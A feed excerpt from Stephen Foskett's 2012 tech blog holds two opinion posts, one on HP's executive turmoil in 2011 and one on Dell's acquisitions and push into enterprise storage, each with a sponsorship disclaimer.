By the way, pairing a Clear modem with a Cradlepoint router allows you to keep it near the window for better service.

© sfoskett for Stephen Foskett, Pack Rat, 2012. | Cheap, No-Contract 4G Data: Clear’s Undocumented Daily- and Weekly-Pass Plans
This post was categorized as Apple, Deals, Personal, Terabyte home. Each of my categories has its own feed if you'd like to filter out or focus on posts like this.

How could a company as mighty and diverse as HP have had so many issues with executive management?

HP stumbled mightily in 2011, and it had nothing to do with product or people. Even sales remained strong, though the PC business is changing. HP’s mighty stumble was a crisis of confidence due to a chain of shenanigans at the very top. This culminated with the short reign of Léo Apotheker, leaving HP to reassure the market of its strategy.

HP And the Enterprise IT Industry

Sometimes, it’s hard to get a sense of scale when talking about very large things. How big is the solar system? How far away is the nearest star? The same is true of earthly things, exemplified by popular misconceptions about the global financial crisis. It’s difficult for people to understand just how much money a trillion dollars is.

In my little world of enterprise storage, it’s difficult to reconcile “big storage” players like EMC and NetApp with “big storage and everything else” players like HP, Dell, Oracle and IBM. Sure, EMC and NetApp lead the pack in terms of market share, but they’re nowhere near as large as the integrated players. HP has more than 7 times the revenue of EMC, which makes 3 times more than NetApp.

This old slide might need updating, but you get the picture...

HP is an incredibly diverse company, dominant in the PC, printing, and blade server market and top 5 just about everywhere else, including networking, services, and enterprise storage. And HP has nearly 325,000 employees, all working to move the company forward in one direction or another.

NetApp is a motorcycle, with one drive wheel pushing it forward at high speed; HP is more like NASA’s shuttle crawler-transporter, a 16 motor mammoth. Single-purpose companies can be agile, but they can also be derailed by market downturn or technological shift. Storage specialists like NetApp continually try to innovate and acquire to keep themselves vital, while larger companies like Cisco and EMC try to diversify while maintaining market leadership. HP doesn’t need to try; it is diverse.

HP Is a Very Large Thing

I watched HP's rise in the server market of the 1990's

HP has long been synonymous with innovation, high-technology, and silicon Valley. I have been an HP customer as long as I have been in IT, and watched as they integrated technology from Apollo and Convex in the 1990’ s. The server products that resulted became the dominant UNIX platform, but HP’ s innovative storage concepts didn’ t take the market by storm.

After HP merged with Compaq (which brought Tandem and Digital Equipment Corporation), the company vaulted ahead in the Wintel market and also gained valuable storage expertise. Throughout the last decade, HP was firing on all cylinders and dominant in nearly every arena. The company owns half the blade server market, is tied for first in servers, leads in PCs and printers, and is a contender in networking and storage. It’s simply impossible to say what HP is in a single sentence.

HP storage has an extremely broad product range, which management is working to reconcile. Acquisitions of LeftHand, Ibrix, and 3PAR gave HP storage shot in the arm to be sure. An injection of startup mojo has energized the marketing and product groups within HP just when the company needed it. HP’ s market share has grown somewhat as a result, though not as much as the hyper-focused NetApp. HP networking similarly took on 3Com, bedeviling Cisco in the Ethernet switch market.

The Executive Soap Opera

It takes a lot to bring a mammoth to its knees, but a shot between the eyes usually does the trick. While the many engines of HP push it forward, the company’s upper management has seemed, at times, suicidal. Business schools could design an entire curriculum around the folly of Patricia “I spy” Dunn and Mark “penny-pinching” Hurd. Who would think that HP management could top this?

From August 2010 through September 2011, HP dominated IT headlines in completely the wrong way. The board wanted a change, and selected Léo Apotheker to transform HP. But it was a soap opera from the very start, with Oracle hiring Mark Hurd and sending Apotheker into hiding among accusations of corporate espionage while at SAP.

The new CEO didn’t seem to understand HP at all, though he was intent on steering it in a new direction. Apotheker set about dismantling HP’s consumer and end-user businesses, killing Palm/WebOS and threatening to sell off the PC business. The company was to focus instead on enterprise computing, but these drastic moves spooked the entire industry.

It wasn’t long before HP’s board struck again, with a shake up at the hands of Ray Lane and former eBay CEO Meg Whitman brought in to replace Apotheker. The first order of business for the new HP executive team appears to be reassuring the entire world that management has not gone completely insane.

Stephen’s Stance

To an outsider like me, the most disappointing thing about HP’s mighty stumble is that it has nothing to do with the people who really make the company what it is. I have met many creative, hard-working individuals in HP’s storage, server, networking, and printer groups, and they could not be more different from the executive soap opera. I only hope that this new board and CEO will bring some stability and let HP cruise forward once again.

Disclaimer: HP has sponsored the Tech Field Day events which I organize, and has on occasion invited me to attend events at their expense.  But I do similar work with nearly every company in the IT industry, and this piece is my own opinion.

© sfoskett for Stephen Foskett, Pack Rat, 2012. | HP’s Mighty Stumble
This post was categorized as Computer History, Enterprise storage, Gestalt IT. Each of my categories has its own feed if you'd like to filter out or focus on posts like this.

I Promise Not To Quote That Old Annoying Dell PC Slogan

I’ve been buying Dell computers for decades, but not really because I loved them. Sure, my XPS laptop was awesome, but it burned out its motherboard and I never really touched the RMA replacement, having bought a MacBook Pro in the meantime. Enterprise buyers seem to have the same ambivalence about Dell. They buy it, but I’m not sure they really “buy” the company as an IT partner.

I’m sure you’ve heard the same comments as me: “Dell just assembles off-the-shelf components and sells them in volume” or “Dell’s a follower, not an innovator.” There seems to be a great deal of respect for Dell’s ability to produce competitive products and sell them at reasonable cost. Truly, most of their competitors would love to have this kind of reputation. But most of their competitors also have a reputation for partnership, innovation, and solution selling.

Dell Is Making An Effort

It seems clear that Dell would like to change this attitude, and they are investing serious resources to make it happen. While acquisitions like Compellent and Force10 raised eyebrows in storage and networking, it is the activity I see behind the scenes that paints the clearest picture. Dell isn’t just buying into new markets, they’re investing to change the company.

When Dell acquired EqualLogic in 2008, many assumed it was a tactical investment to increase margins over the (resold) EMC storage equipment the company was then pushing. Pundits were similarly dismissive of the acquisition of Perot Systems in 2009, calling it a “me too” effort after HP acquired rival EDS. Regardless of the motivations, however, Dell was becoming more of a serious challenger to HP and IBM every day.

After failing to acquire 3PAR in 2010, then picking up Compllent shortly after, accusations that Dell was “mini me” to HP were rampant. But HP stumbled mightily in 2011, and many in IT quickly lost confidence in that company’s management. All the while, Dell moved forward, increasing in-house IP and expanding enterprise offerings.

What Is The Result?

Today, one sees a very different landscape than just last year. Dell’s acquisitions focused on some of the ripest spots in storage and networking, and no one would disagree that the company has the ability strongly to push these products. Compellent and Force10 went from interesting startups to serious contenders overnight.

Dell really pulled out all the stops to tell us they are "Fluid by Design"

More importantly, Dell has retained much of the innovation these companies offered, from employees to support programs. Last week, I attended the Dell Storage Forum in London, an event initiated by Compellent prior to the acquisition. At the event, I talked to many Dell employees who came to the company through acquisition but had now been given power to challenge the status quo in their respective areas.

If Dell really intended only to push product, why retain marketing personnel? Why invest in the Dell Storage Forum? Why continue Compellent’s beloved Co-Pilot support program?

Then there are the products. Dell leveraged its investment in Ocarina Networks to create a deduplicating backup appliance, the new DR4000. They salvaged file system startup ExaNet and are beginning to bring scale out technology to market. The latest revision of the Compellent software finally brings it to parity in terms of VMware support. And Dell is really working to sell their DX Object Store.

This is the sort of activity one would expect from a contender, not a “box pusher”.

Stephen’s Stance

In the words of Malcolm Reynolds, my days of not taking Dell seriously are certainly coming to a middle. Dell is investing in product IP, innovative marketing and PR events, customer support, and personnel. This does not mean that Dell is instantly a player in the enterprise storage and networking markets, or that all this work will pay off. But I don’t laugh when I hear Dell boast that they intend to be a “top three” enterprise storage company in a few years. It could happen.

Disclaimer: Dell sponsored two Tech Field Day events in 2011, paid me as a speaker at two DX events, and paid for my trip to Dell Storage Forum in London. But no one can buy a post on this site, and I did similar business with IBM, HP, Cisco, and many other companies. This is my opinion.

© sfoskett for Stephen Foskett, Pack Rat, 2012. | Why Should Anyone Take Dell Seriously in Enterprise Storage?
This post was categorized as Computer History, Enterprise storage, Gestalt IT, Virtual Storage. Each of my categories has its own feed if you'd like to filter out or focus on posts like this.